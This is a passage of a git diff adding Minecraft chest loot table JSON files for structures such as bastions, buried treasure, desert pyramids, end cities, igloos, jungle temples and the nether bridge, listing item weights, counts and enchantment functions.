"minecraft:porkchop" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:cooked_porkchop" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crimson_fungus" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crimson_roots" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/bastion_other.json b/src/data/minecraft/loot_tables/chests/bastion_other.json new file mode 100644 index 00000000..24b5a267 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/bastion_other.json @@ -0,0 +1,480 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:diamond_shovel" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.1, + "max": 0.9 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:crossbow" + }, + { + "type": "minecraft:item", + "weight": 12, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:ancient_debris" + }, + { + "type": "minecraft:item", + "weight": 4, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:netherite_scrap" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 10.0, + "max": 22.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spectral_arrow" + }, + { + "type": "minecraft:item", + "weight": 9, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:piglin_banner_pattern" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:music_disc_pigstep" + }, + { + "type": "minecraft:item", + "weight": 12, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 6.0, + "max": 17.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:golden_carrot" + }, + { + "type": "minecraft:item", + "weight": 9, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:enchant_randomly", + "enchantments": [ + "minecraft:soul_speed" + ] + } + ], + "name": "minecraft:book" + } + ] + }, + { + "rolls": 2, + "entries": [ + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.1, + "max": 0.9 + } + }, + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:iron_sword" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:iron_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly", + "enchantments": [ + "minecraft:soul_speed" + ] + } + ], + "name": "minecraft:golden_boots" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_axe" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:gold_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:crossbow" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_sword" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_chestplate" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_helmet" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_leggings" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_boots" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crying_obsidian" + } + ] + }, + { + "rolls": { + "min": 3.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gilded_blackstone" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 10.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:chain" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:magma_cream" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bone_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_nugget" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:obsidian" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 5.0, + "max": 17.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:cooked_porkchop" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/bastion_treasure.json b/src/data/minecraft/loot_tables/chests/bastion_treasure.json new file mode 100644 index 00000000..76455f5c --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/bastion_treasure.json @@ -0,0 +1,325 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 3, + "entries": [ + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:netherite_ingot" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:ancient_debris" + }, + { + "type": "minecraft:item", + "weight": 8, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:netherite_scrap" + }, + { + "type": "minecraft:item", + "weight": 4, + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:ancient_debris" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.8, + "max": 1.0 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_sword" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.8, + "max": 1.0 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_chestplate" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.8, + "max": 1.0 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_helmet" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.8, + "max": 1.0 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_leggings" + }, + { + "type": "minecraft:item", + "weight": 6, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.8, + "max": 1.0 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_boots" + }, + { + "type": "minecraft:item", + "weight": 6, + "name": "minecraft:diamond_sword" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond_chestplate" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond_helmet" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond_boots" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond_leggings" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:enchanted_golden_apple" + } + ] + }, + { + "rolls": { + "min": 3.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 12.0, + "max": 25.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spectral_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crying_obsidian" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 8.0, + "max": 23.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:quartz" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 5.0, + "max": 15.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gilded_blackstone" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:magma_cream" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/buried_treasure.json b/src/data/minecraft/loot_tables/chests/buried_treasure.json new file mode 100644 index 00000000..b8647d13 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/buried_treasure.json @@ -0,0 +1,172 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:heart_of_the_sea" + } + ] + }, + { + "rolls": { + "min": 5.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:tnt" + } + ] + }, + { + "rolls": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:prismarine_crystals" + } + ] + }, + { + "rolls": { + "min": 0.0, + "max": 1.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:leather_chestplate" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_sword" + } + ] + }, + { + "rolls": 2, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:cooked_cod" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:cooked_salmon" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/desert_pyramid.json b/src/data/minecraft/loot_tables/chests/desert_pyramid.json new file mode 100644 index 00000000..3a52a174 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/desert_pyramid.json @@ -0,0 +1,243 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 25, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bone" + }, + { + "type": "minecraft:item", + "weight": 25, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spider_eye" + }, + { + "type": "minecraft:item", + "weight": 25, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "weight": 15, + "name": "minecraft:iron_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:diamond_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:enchanted_golden_apple" + }, + { + "type": "minecraft:empty", + "weight": 15 + } + ] + }, + { + "rolls": 4, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bone" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gunpowder" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:sand" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/end_city_treasure.json b/src/data/minecraft/loot_tables/chests/end_city_treasure.json new file mode 100644 index 00000000..9f47ca56 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/end_city_treasure.json @@ -0,0 +1,330 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 10.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:beetroot_seeds" + }, + { + "type": "minecraft:item", + "weight": 3, + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:diamond_horse_armor" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:diamond_sword" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:diamond_boots" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:diamond_chestplate" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:diamond_leggings" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:diamond_helmet" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:diamond_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:diamond_shovel" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:iron_sword" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:iron_boots" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:iron_chestplate" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:iron_leggings" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:iron_helmet" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:iron_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": { + "min": 20.0, + "max": 39.0, + "type": "minecraft:uniform" + }, + "treasure": true + } + ], + "name": "minecraft:iron_shovel" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/igloo_chest.json b/src/data/minecraft/loot_tables/chests/igloo_chest.json new file mode 100644 index 00000000..1e614590 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/igloo_chest.json @@ -0,0 +1,97 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:apple" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "weight": 2, + "name": "minecraft:stone_axe" + }, + { + "type": "minecraft:item", + "weight": 10, + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:wheat" + } + ] + }, + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:golden_apple" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/jungle_temple.json b/src/data/minecraft/loot_tables/chests/jungle_temple.json new file mode 100644 index 00000000..ea702995 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/jungle_temple.json @@ -0,0 +1,147 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bamboo" + }, + { + "type": "minecraft:item", + "weight": 2, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:emerald" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bone" + }, + { + "type": "minecraft:item", + "weight": 16, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rotten_flesh" + }, + { + "type": "minecraft:item", + "weight": 3, + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "name": "minecraft:iron_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:golden_horse_armor" + }, + { + "type": "minecraft:item", + "name": "minecraft:diamond_horse_armor" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:enchant_with_levels", + "levels": 30, + "treasure": true + } + ], + "name": "minecraft:book" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/jungle_temple_dispenser.json b/src/data/minecraft/loot_tables/chests/jungle_temple_dispenser.json new file mode 100644 index 00000000..eb22c0ae --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/jungle_temple_dispenser.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 30, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:arrow" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/nether_bridge.json b/src/data/minecraft/loot_tables/chests/nether_bridge.json new file mode 100644 index 00000000..41407e66 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/nether_bridge.json @@ -0,0 +1,124 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", 